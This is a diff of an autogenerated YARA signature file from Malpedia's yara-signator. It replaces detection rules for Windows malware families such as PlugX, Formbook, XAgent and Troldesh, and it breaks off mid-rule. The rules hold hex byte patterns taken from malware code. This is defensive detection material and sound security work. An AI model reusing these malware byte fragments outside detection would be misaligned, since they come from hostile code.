"42f43514-1d0a-5f85-8b4c-4d2eb84cb8ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kiwistealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kiwistealer_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lurk_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "27341d3fac694e410d992d38e84f32a2cf2b6688bb4c9bbb3f17b7cb4866a5bf" + logic_hash = "d1c263745e96efcdbb8910da6861ed00bbaa0d8e2de63a2bd4a743972e1ce722" score = 75 quality = 75 tags = "FILE" @@ -137572,34 +137231,40 @@ rule MALPEDIA_Win_Kiwistealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4585c9 7462 4183e901 740f 4183f901 0f85d6000000 } - $sequence_1 = { 4885c0 740e 488d7027 4883e6e0 488946f8 eb14 ff15???????? } - $sequence_2 = { 488b05???????? 4885c9 480f45c1 483b05???????? 747e 4c8bc6 488d542470 } - $sequence_3 = { 0f118424b0020000 0f104810 0f118c24c0020000 4c896010 48c740180f000000 c60000 4c8d8c2458030000 } - $sequence_4 = { e9???????? 4983c5c0 4c896c2428 493bdc 0f85bc000000 4983ee40 4c89742420 } - $sequence_5 = { e8???????? 43c6042e00 4533f6 488d45d8 48837df010 480f4345d8 4c89742438 } - $sequence_6 = { 488b05???????? 488905???????? 488d0d3d110200 e8???????? 8bc8 486bc10b 83f803 } - $sequence_7 = { 0f118590000000 418d4c2440 e8???????? 488bd8 4889442428 33d2 488bc8 } - $sequence_8 = { 41c70005000000 49894008 498bc0 41c6400401 c3 8bca 81e9d4040000 } - $sequence_9 = { 4883ec70 488bf9 4533f6 44897098 488d2db0920000 488968a0 0f57c0 } + $sequence_0 = { ff7508 ff15???????? 8b35???????? 50 ff7508 } + $sequence_1 = { 8b4508 5b 5f 5e c9 c3 55 } + $sequence_2 = { 8908 8b4514 85c0 7407 8b4e28 03cf } + $sequence_3 = { 0f84e0000000 8b45fc 8b4dd8 03480c 51 ff55f4 } + $sequence_4 = { 8955f4 837df404 7325 8b4df0 } + $sequence_5 = { 80780500 8d45fc 7404 6a00 eb02 6a01 50 } + $sequence_6 = { 5f 5e c9 c20400 a1???????? 32c9 384802 } + $sequence_7 = { eb29 837d0803 7504 6a03 eb08 837d0804 7519 } + $sequence_8 = { c9 c3 6afe eb02 6afd } + $sequence_9 = { 8945cc 8b45fc 83c008 8945f0 } + $sequence_10 = { 8945fc e8???????? c745f801000000 2975f8 } + $sequence_11 = { a1???????? 385805 744f 53 53 } + $sequence_12 = { 8945d0 8b45f8 895dd4 8945d8 8b3d???????? } + $sequence_13 = { 8955f0 8b45f4 8b4814 c1e11f c1f91f 7412 } + $sequence_14 = { 8955f0 e9???????? 8b55fc 8b45ec } + $sequence_15 = { 8945d4 837dd400 7513 8b45d8 } condition: - 7 of them and filesize < 403456 + 7 of them and filesize < 5316608 } -rule MALPEDIA_Win_Plugx_Auto : FILE +rule MALPEDIA_Win_Pvzout_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "087f4536-9e07-5d7f-a0d5-0a134931bcd8" + id = "3a2ef17b-53cd-553c-9129-4e623095fe72" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plugx_auto.yar#L1-L286" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pvzout_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "341c1f01e0832398e975d439fb075776745e2dea735d9688a1d350eef060bf14" + logic_hash = "a07bc946194cd01a9387c49797743aad8628a2824c8c9c6f1536148459ed0ba4" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -137611,57 +137276,34 @@ rule MALPEDIA_Win_Plugx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 51 0fb74612 } - $sequence_1 = { 55 8bec 8b450c 81780402700000 } - $sequence_2 = { 53 6a00 6a00 6a02 ffd0 85c0 } - $sequence_3 = { 51 56 57 6a1c 8bf8 e8???????? 8bf0 } - $sequence_4 = { 56 8b750c 8b4604 050070ffff } - $sequence_5 = { 41 3bca 7ce0 3bca } - $sequence_6 = { 0145f4 8b45fc 0fafc3 33d2 } - $sequence_7 = { e8???????? 85c0 7508 e8???????? 8945fc } - $sequence_8 = { e8???????? 3de5030000 7407 e8???????? } - $sequence_9 = { 85c0 7413 e8???????? 3de5030000 } - $sequence_10 = { e8???????? 85c0 7407 b84f050000 } - $sequence_11 = { 50 ff15???????? a3???????? 8b4d18 } - $sequence_12 = { e8???????? 85c0 750a e8???????? 8945fc } - $sequence_13 = { 85c0 750d e8???????? 8945f4 } - $sequence_14 = { 6a00 6a00 6a04 6a00 6a01 6800000040 57 } - $sequence_15 = { 57 e8???????? eb0c e8???????? } - $sequence_16 = { 51 6a00 6800100000 6800100000 68ff000000 6a00 6803000040 } - $sequence_17 = { 6819000200 6a00 6a00 6a00 51 } - $sequence_18 = { 50 ff75e8 6802000080 e8???????? } - $sequence_19 = { ffd7 a3???????? 56 ffd0 } - $sequence_20 = { 6a01 6a00 e8???????? a3???????? 6800080000 68???????? } - $sequence_21 = { 51 6a02 e8???????? 6800f00000 } - $sequence_22 = { 89442424 8b442424 6808020000 6a00 } - $sequence_23 = { 6800080000 68???????? e8???????? 6800080000 68???????? e8???????? } - $sequence_24 = { 6808020000 6a00 ff74242c e8???????? } - $sequence_25 = { 5d c21000 55 53 57 56 83ec18 } - $sequence_26 = { 89742434 89f1 8b442434 e8???????? } - $sequence_27 = { 50 56 ffb42480000000 ff15???????? } - $sequence_28 = { 50 6802000080 53 e8???????? } - $sequence_29 = { 6a5c ff74241c e8???????? 83c408 } - $sequence_30 = { 56 ff742478 ffd0 89442420 } - $sequence_31 = { 6a00 ff74245c e8???????? 83c40c } - $sequence_32 = { 40 eb95 89f1 c644242a00 } + $sequence_0 = { d4a1 0e 75a8 43 } + $sequence_1 = { bf95f6810e 75a8 43 1dea50873a d4a1 0e } + $sequence_2 = { 43 1dea50873a d4a1 0e 75a8 43 1dea50873a } + $sequence_3 = { 1dea50873a d4a1 0e 75a8 43 1dea50873a } + $sequence_4 = { 3089f33d80f3 48 e21c 3e3f 19e9 } + $sequence_5 = { 18830d88a01c 51 ab 25b53ae778 f3bd95ab4ed8 } + $sequence_6 = { 1dea50873a d4a1 0e 75a8 } + $sequence_7 = { 19e9 73f8 dca10ebd24e8 252b0026cb 9e } + $sequence_8 = { d4a1 0e 75a8 43 2f 3089f33d80f3 } + $sequence_9 = { 5a bf95f6810e 75a8 43 } condition: - 7 of them and filesize < 1284096 + 7 of them and filesize < 573440 } -rule MALPEDIA_Win_Kutaki_Auto : FILE +rule MALPEDIA_Win_Xagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c0ce7f5d-750c-52b1-ad8e-d94947241870" + id = "858895d8-2a97-5541-a089-3de82693028e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kutaki_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xagent_auto.yar#L1-L243" license_url = "N/A" - logic_hash = "2d6337f5a069ed263b69e96c0f4411506a5a576a0de1c3fe88d0c7f6f51b0ebe" + logic_hash = "6bd2f7e71d8c01d128cc02e9a985eec56e3c9b4bd52be45a95e998c8268d5099" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -137673,32 +137315,48 @@ rule MALPEDIA_Win_Kutaki_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8945d4 8d55d4 52 8d45cc 50 ff15???????? } - $sequence_1 = { ff15???????? 85c0 0f849b020000 8d4ddc 51 ff15???????? 50 } - $sequence_2 = { 51 e8???????? c745fc04000000 8b5510 33db 833a00 0f9ec3 } - $sequence_3 = { 8b4db4 3b4810 7309 c7458800000000 eb09 ff15???????? } - $sequence_4 = { 8d953cffffff 52 6808200000 ff15???????? 898564feffff 8d8564feffff 50 } - $sequence_5 = { ffd7 a1???????? 6685f6 0f8dfd000000 85c0 7515 68???????? } - $sequence_6 = { 50 ff15???????? 898548ffffff eb0a c78548ffffff00000000 833d????????00 751c } - $sequence_7 = { 68???????? c78570ffffff01000000 c78568ffffff02000000 ffd6 68???????? 66898560ffffff c78558ffffff02000000 } - $sequence_8 = { 8985a4feffff 83bda4feffff00 7d26 68a0000000 } - $sequence_9 = { 8b957cffffff 52 ff15???????? 898518ffffff eb0a c78518ffffff00000000 8b45c8 } + $sequence_0 = { c1ea02 6bd20d b801000000 2bc2 } + $sequence_1 = { ff15???????? 8bd8 e8???????? 03d8 } + $sequence_2 = { 7702 2bc7 8b5204 8b0482 8b0488 8b4e10 85c9 } + $sequence_3 = { 33d2 eb02 8b11 8b4808 8bc1 57 8b7a08 } + $sequence_4 = { 8b7a08 c1e802 83e103 3bf8 7702 2bc7 8b5204 } + $sequence_5 = { 55 8bec 33c0 83ec0c 39412c } + $sequence_6 = { 7507 c7460c00000000 5f 5e 8be5 } + $sequence_7 = { e8???????? 8b4604 85c0 7407 8b4d08 8b11 8910 } + $sequence_8 = { ff15???????? 6a08 e8???????? 83c404 85c0 } + $sequence_9 = { 03ff 3b7e0c 7707 c7460c00000000 49 894e10 7507 } + $sequence_10 = { 7509 488b03 488bcb ff5008 488b7d8f 4883c610 488d46f8 } + $sequence_11 = { e8???????? 48833b00 740a 488b4308 } + $sequence_12 = { 4883ec30 4883792800 498bf9 498bf0 } + $sequence_13 = { 740c 488b07 4c8b13 488903 4c8917 488b13 488b0e } + $sequence_14 = { e8???????? 488b4328 4c8bcf 4c8bc6 } + $sequence_15 = { 0f92c3 488d4c2430 e8???????? 90 } + $sequence_16 = { e8???????? 90 0fb705???????? 6689442420 } + $sequence_17 = { 740c 488b07 488b0b 488903 48890f 488b5c2430 488b6c2438 } + $sequence_18 = { b803b57ea5 f7e6 c1ea06 6bd263 } + $sequence_19 = { 75f8 488d8c2430010000 482bc1 488d8c0430010000 } + $sequence_20 = { 75f8 488bf9 482bfe 2bfb } + $sequence_21 = { 75f8 488bf9 482bfb 448bcf } + $sequence_22 = { 75f8 488d4c2420 482bc1 488d4c0420 } + $sequence_23 = { 75f8 488bf9 482bfa 4c8bc7 } + $sequence_24 = { 75f8 488bf8 482bfa 488b4b28 } + $sequence_25 = { 75f8 492bc3 488bcf 6645892c03 } condition: - 7 of them and filesize < 1335296 + 7 of them and filesize < 729088 } -rule MALPEDIA_Win_Monero_Miner_Auto : FILE +rule MALPEDIA_Win_Sword_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53964e17-4946-5df0-a485-9eaee6f615c2" + id = "8539535f-357d-5d16-925a-82cf11392564" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.monero_miner_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sword" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sword_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "cffe54ca1957e07a44d930d7017ae2111987cffb75cbed1acab293924f2ab98e" + logic_hash = "f965a414f19aed1fee3b06d38e5b293cff63935b0d3b803549aab6fbb9244e65" score = 75 quality = 75 tags = "FILE" @@ -137712,32 +137370,32 @@ rule MALPEDIA_Win_Monero_Miner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6043000 c744240811000000 89442404 c70424???????? e8???????? 85c0 7411 } - $sequence_1 = { e8???????? 0fb643fa 8d4e04 c7442404???????? 890c24 89442408 e8???????? } - $sequence_2 = { 8b6c240c 136c2424 8b8c24d4000000 8bbc24dc000000 89c2 8b4350 31f2 } - $sequence_3 = { e8???????? 8d9424a0000000 8d442460 b901000000 e8???????? 8d542460 8d8424a0000000 } - $sequence_4 = { 890424 e8???????? 83f8ff 0f8463050000 817c2434ff3f0000 8b442430 0f96c2 } - $sequence_5 = { 8b94247c010000 898c2448020000 899c244c020000 8b9c248c010000 89c5 0fa4d017 0fa4ea17 } - $sequence_6 = { 8db4248c000000 c60000 89442414 8b8398000000 8974240c c7442404???????? 89442410 } - $sequence_7 = { 8b542428 8354242c00 83c340 836c242040 c1e206 39542414 0f87c3feffff } - $sequence_8 = { ffd6 83f8ff 75de 81c4cc0f0000 89e8 5b 5e } - $sequence_9 = { 8906 8b7413fc 897411fc 8b7d14 89de 81c784000000 } + $sequence_0 = { 897c242c 8b3d???????? 6800010000 c74424143c000000 c744242064924000 89542424 } + $sequence_1 = { f2ae f7d1 49 8d842488020000 51 50 56 } + $sequence_2 = { 8bfd 83c9ff 33c0 f2ae 8b542424 33db f7d1 } + $sequence_3 = { e8???????? 83c404 50 ff15???????? 668944240a 8d842428040000 50 } + $sequence_4 = { 7c85 5f 5e 5d b801000000 5b 83c40c } + $sequence_5 = { 8d8c2498060000 51 52 e8???????? 83c40c 8d842474020000 } + $sequence_6 = { 8d942488030000 f2ae f7d1 2bf9 53 8bf7 8bfa } + $sequence_7 = { 52 e8???????? 8818 8d842490020000 } + $sequence_8 = { 6a00 6a00 6a00 7509 8d542414 } + $sequence_9 = { 8d3c8d00a14000 c1e603 8b0f f644310401 7456 50 e8???????? } condition: - 7 of them and filesize < 1425408 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Mrac_Auto : FILE +rule MALPEDIA_Win_Spygrace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e787bb3-4d81-533a-b44d-f20be9e2f442" + id = "3c99942d-74fe-50f1-a9c2-d735c42e0b85" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrac_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spygrace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spygrace_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "5fe94aec6f3ba68621e3ca20e2c4449488e4dd8245ed859f8a76ad9159490f6c" + logic_hash = "4d1aafea2b2d6148a5221a777c3a4ed202ce4fd229ea04549615dae7ae9b5684" score = 75 quality = 75 tags = "FILE" @@ -137751,32 +137409,32 @@ rule MALPEDIA_Win_Mrac_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8bc8 e8???????? c78424780600001e000000 c684247c0600006a c684247d0600007f c684247e0600006d } - $sequence_1 = { 8bde 83e03f c1fb06 6bc830 8b049d804b4500 894dfc 837c0118ff } - $sequence_2 = { e8???????? 0420 8d8c2434040000 6a35 8884244f040000 e8???????? } - $sequence_3 = { 040f 3476 888424ef040000 8b8424dc040000 0410 3463 888424f0040000 } - $sequence_4 = { 8b4df0 8b048d804b4500 f644382848 741c 8a55ff 80fa0a 7504 } - $sequence_5 = { e8???????? c68424c813000076 c68424c91300006d c68424ca1300007c 8d8c24c8130000 c68424cb13000028 c68424cc1300007b } - $sequence_6 = { 8a840d6cffffff 2c0a 88840d6cffffff 41 83f909 72ea 68eeeac01f } - $sequence_7 = { 8bf0 c645e57d c645e675 c645e74a c645e86d c645e973 c645ea7e } - $sequence_8 = { 8d8c2458090000 88842466090000 e8???????? 3453 8d8c2454090000 6a0c 88842467090000 } - $sequence_9 = { c68424ce0e000049 c68424cf0e000056 c68424d00e000006 c68424d10e00006b c68424d20e000075 c68424d30e000075 c68424d40e000077 } + $sequence_0 = { 85c0 742a 488bc5 4c8d05d90c0300 488bcd 48c1f906 83e03f } + $sequence_1 = { 488bc3 48397b18 7203 488b03 48894c2430 4889442428 48c744242013000000 } + $sequence_2 = { bb01000000 4533e4 448d4b5b 6644394c48fe 7440 483bca 731c } + $sequence_3 = { 488d4db0 48837dc808 480f434db0 ffd2 85c0 0f85b0010000 4d8d86a0020000 } + $sequence_4 = { 490f42c0 488d4dd0 48837de808 480f434dd0 4c2bc0 4c8945e0 4e8d044502000000 } + $sequence_5 = { 488d4d1f e8???????? 90 488b4b10 48b8ffffffffffffff7f 482bc1 4883f807 } + $sequence_6 = { 4c8b4110 488bf1 4d85c0 b901000000 490f45c8 488be9 } + $sequence_7 = { e8???????? e9???????? 49638dd0330000 e8???????? 4889442448 498bce be10000000 } + $sequence_8 = { 488d05bbc60200 4889442460 488d05c7c60200 4889442468 488d05cbc60200 4889442470 488d05cfc60200 } + $sequence_9 = { 498bc8 e8???????? 4883a31004000000 488bcb 48c783180400000f000000 c6830004000000 4883c420 } condition: - 7 of them and filesize < 745472 + 7 of them and filesize < 865280 } -rule MALPEDIA_Win_Troldesh_Auto : FILE +rule MALPEDIA_Win_Invisimole_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71dc6e06-8dd4-5865-ab10-09f20ee5e07a" + id = "ff26101a-652d-5609-8231-3c338869a11e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troldesh_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.invisimole_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "54ddaca68ab9115d35e14f6b78269f4735d8b277965f7a8b9f90608c52763a8d" + logic_hash = "8969781531efc17812b2df34968a188468c9267be73167ccabb12759d11db9c9" score = 75 quality = 75 tags = "FILE" @@ -137790,71 +137448,71 @@ rule MALPEDIA_Win_Troldesh_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd5 85c0 755e 6a08 8d442478 50 8d44244c } - $sequence_1 = { e8???????? 56 57 8bf3 b8ff0f0000 c1ee0c 8bfb } - $sequence_2 = { ff75fc 50 e8???????? 83c40c 85c0 741a 8b4610 } - $sequence_3 = { e8???????? 8b3e 53 e8???????? c7839400000001000000 8b36 8b462c } - $sequence_4 = { e8???????? e9???????? 83f807 0f85d4000000 8bf5 e8???????? 8bf0 } - $sequence_5 = { e8???????? 8b4f04 51 89442418 895c241c e8???????? 83c404 } - $sequence_6 = { e8???????? ff750c ff7508 e8???????? 83c418 eb6d e8???????? } - $sequence_7 = { e8???????? 8b8c249c000000 83c40c 50 57 68???????? 53 } - $sequence_8 = { ff75f8 8b7070 e8???????? 8945f8 59 85c0 0f8562ffffff } - $sequence_9 = { e9???????? 3975f4 740b 53 e8???????? 59 85c0 } + $sequence_0 = { c745f4ffffffff e8???????? 83c414 e9???????? 6a00 6800000008 6a03 } + $sequence_1 = { 8b0d???????? 6a04 6a08 51 ffd6 85c0 7491 } + $sequence_2 = { 52 56 884d0b e8???????? 8a450c 83c448 6a01 } + $sequence_3 = { 746a 53 ff15???????? 8b4df4 51 c645ff01 ffd7 } + $sequence_4 = { 8d4da0 51 52 50 ff55c8 85c0 } + $sequence_5 = { c645bc0d 668955bd 894dbf 8bde 7409 83c302 66833b2a } + $sequence_6 = { 7449 899e8caf0600 3d06010000 7305 e8???????? 899e7caf0600 0fb60f } + $sequence_7 = { 52 ffd7 8bd8 895c2414 85db } + $sequence_8 = { 895de8 3bde 0f8418010000 8b55ec 8b45f8 53 52 } + $sequence_9 = { 8d4602 50 8d8f22020000 51 ff15???????? 33d2 668916 } condition: - 7 of them and filesize < 3915776 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Unidentified_075_Auto : FILE +rule MALPEDIA_Win_Redshawl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "147c0d53-aecb-5cae-ac7f-14d52d3c203f" - date = "2023-07-11" - modified = "2023-07-15" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_075_auto.yar#L1-L115" + id = "f52543ad-f3b0-5635-b08b-6e314d7ab25e" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redshawl_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "10617fdfd534147bc5e0f7e922724e69d45c37af66d21f98c629fa1bac685120" + logic_hash = "9697ea4899eafca20347b787cabf2930212702df9b80046d2c793afaab560dfd" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230705" - malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" - malpedia_version = "20230715" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c40c 6808020000 8d95dcf6ffff 52 6a00 } - $sequence_1 = { 8bc1 5e 5d c3 55 8bec ff15???????? } - $sequence_2 = { 52 e8???????? 6a00 8d85ace6ffff 50 8d8dbceeffff 51 } - $sequence_3 = { 83c40c 33c0 668985d4f4ffff 6806020000 } - $sequence_4 = { 837d9400 740d 8b55fc c7821002000000000000 837df000 } - $sequence_5 = { 52 ff15???????? 83c410 b853000000 66898550ffffff } - $sequence_6 = { 33c0 668945d0 8d4dd4 51 } - $sequence_7 = { 742c 8b4514 85c0 7421 } - $sequence_8 = { 85c0 0f8431ffffff b901000000 85c9 0f8515ffffff } - $sequence_9 = { 81eca4000000 894dfc c745f400000000 c745f800000000 } + $sequence_0 = { 4889442438 895c2430 4489642428 4c89642420 4533c9 4c8bc6 488d942430010000 } + $sequence_1 = { 488b4c2448 e8???????? 90 90 e9???????? 488d542450 418bcc } + $sequence_2 = { 7329 4863d1 488d0d90770000 488bc2 } + $sequence_3 = { 488d8c2431010000 e8???????? ba04010000 488d8c2440020000 ff15???????? 4c8bde 488d8c2430010000 } + $sequence_4 = { 3b3d???????? 737d 488bdf 488bf7 48c1fe05 4c8d25ea7e0000 } + $sequence_5 = { 4c8be9 488b05???????? 4885c0 0f8436010000 48833d????????00 } + $sequence_6 = { 48895c2408 57 4883ec20 488d1d0b6d0000 488d3d046d0000 } + $sequence_7 = { 7532 488d0d239d0000 e8???????? ff15???????? 89442460 488d150c000000 } + $sequence_8 = { 8364242800 41b803000000 488d0d6c320000 4533c9 ba00000040 4489442420 } + $sequence_9 = { 418bcc e8???????? 8bd8 89442440 85c0 } condition: - 7 of them and filesize < 393216 + 7 of them and filesize < 174080 } -rule MALPEDIA_Win_Formbook_Auto : FILE +rule MALPEDIA_Win_Allaple_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8c050ce6-9039-5f0c-9eda-53d46123b24c" + id = "76748fdd-5448-52e3-b40a-c8804bcac97d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.formbook_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.allaple_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "986f42b5e94183a87a4b3ecc04f39bd7a6cdd90998ce87e5be2a2b4f7bf3d394" + logic_hash = "89aee7277247b951ca979dcece1297fc5fda6e02a408403041aa3b0414e347cd" score = 75 quality = 75 tags = "FILE" @@ -137868,32 +137526,32 @@ rule MALPEDIA_Win_Formbook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8be5 5d c3 8d48f8 80f903 771e 8b5518 } - $sequence_1 = { 8bec 8b4508 8b4810 56 6a0d 6a00 } - $sequence_2 = { 56 e8???????? 56 e8???????? 40 50 8b450c } - $sequence_3 = { e8???????? 83c418 8986dc020000 85c0 780c 8b4d0c } - $sequence_4 = { 85ff 7439 8b550c 85d2 7432 8b4d10 33c0 } - $sequence_5 = { 33c0 85d2 741b 8d0c79 53 8d642400 668b1c46 } - $sequence_6 = { 80fa03 0f862cffffff 3c34 0f8446ffffff 3c35 0f8460ffffff 8d48c8 } - $sequence_7 = { e8???????? 8b4508 8d4df8 51 8d55f0 52 6a00 } - $sequence_8 = { 53 56 57 8b7d10 8d8768480000 50 8db768080000 } - $sequence_9 = { 51 57 e8???????? 83c410 85c0 7915 8b13 } + $sequence_0 = { 8945f4 57 ff75fc e8???????? 8945f0 897de8 897dec } + $sequence_1 = { 83c704 c70704000000 83c704 6a18 ff7510 57 e8???????? } + $sequence_2 = { c7420c76543210 8be5 5d c3 55 8bec } + $sequence_3 = { 0345d8 50 e8???????? 83c408 a3???????? 6a03 ff35???????? } + $sequence_4 = { 8b45e4 33c2 8945e4 8b4dec 8b55f0 8d044a 0345b0 } + $sequence_5 = { 52 ff750c e8???????? 47 4b 83c604 0bdb } + $sequence_6 = { 50 ff75fc e8???????? 8d85c0feffff 50 8d85c4feffff } + $sequence_7 = { 6a00 6a64 8d8544fdffff 50 e8???????? 6a00 } + $sequence_8 = { 8b55fc 8b4238 3345f4 8b4df8 894138 8b55fc 8b423c } + $sequence_9 = { 8975f0 6a50 e8???????? 668945ee 6a10 8d45ec 50 } condition: - 7 of them and filesize < 371712 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Transferloader_Auto : FILE +rule MALPEDIA_Win_Gearshift_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6881fadd-235e-58e1-86ed-39c1ca8da641" + id = "5cb12abd-628a-5169-a5df-e2c33952153a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transferloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transferloader_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gearshift_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "c6b3fd0089b61d2c316b9ea19bd98256a6361edd3a6f033006f4e490787182fc" + logic_hash = "e8d3111d44f6324e90544c2ebdde13a938df2e4a9f50331b57f760f4ee12b3d4" score = 75 quality = 75 tags = "FILE" @@ -137907,32 +137565,32 @@ rule MALPEDIA_Win_Transferloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb609 880c02 e9???????? 48837c244800 7412 4c8b442448 33d2 } - $sequence_1 = { 4889442438 41b810000000 488b542438 488b4c2430 } - $sequence_2 = { 88440c20 b801000000 486bc002 b901000000 486bc901 } - $sequence_3 = { 488d442424 48898424f8000000 488d442420 4889842400010000 } - $sequence_4 = { b903000000 f3aa 48b8bce015361abafbff 48898424c8000000 c744242c00000000 486344242c } - $sequence_5 = { 4889842498010000 488b842490010000 4889842468010000 c6442440eb c644244108 c644244248 c644244389 } - $sequence_6 = { 488b09 4863493c 480308 488bc1 4889442430 488b442430 } - $sequence_7 = { 4889542410 48894c2408 4881eca8000000 c6442420eb c644242108 } - $sequence_8 = { 488b442420 4889442428 488b442428 0fb700 3d4d5a0000 7404 32c0 } - $sequence_9 = { 488b8c2420010000 ff15???????? 4883bc24e000000000 7418 4c8b8424e0000000 33d2 } + $sequence_0 = { 4883ec20 85c9 7871 3b0d???????? 7369 4863d9 488d2dff1a0300 } + $sequence_1 = { 48895c2408 4889742410 48897c2418 498bf8 8bda 488bf1 443bca } + $sequence_2 = { e8???????? e9???????? 488b442450 488d0db7350300 488b04c1 41f644070840 } + $sequence_3 = { 4883c310 48ffce 75d4 488d1def070300 } + $sequence_4 = { 8b4ffc 41b940000000 41b800100000 488bd0 4903ce 488bd8 } + $sequence_5 = { 488b4c2430 4885c9 7406 ff15???????? 8bc7 eb02 } + 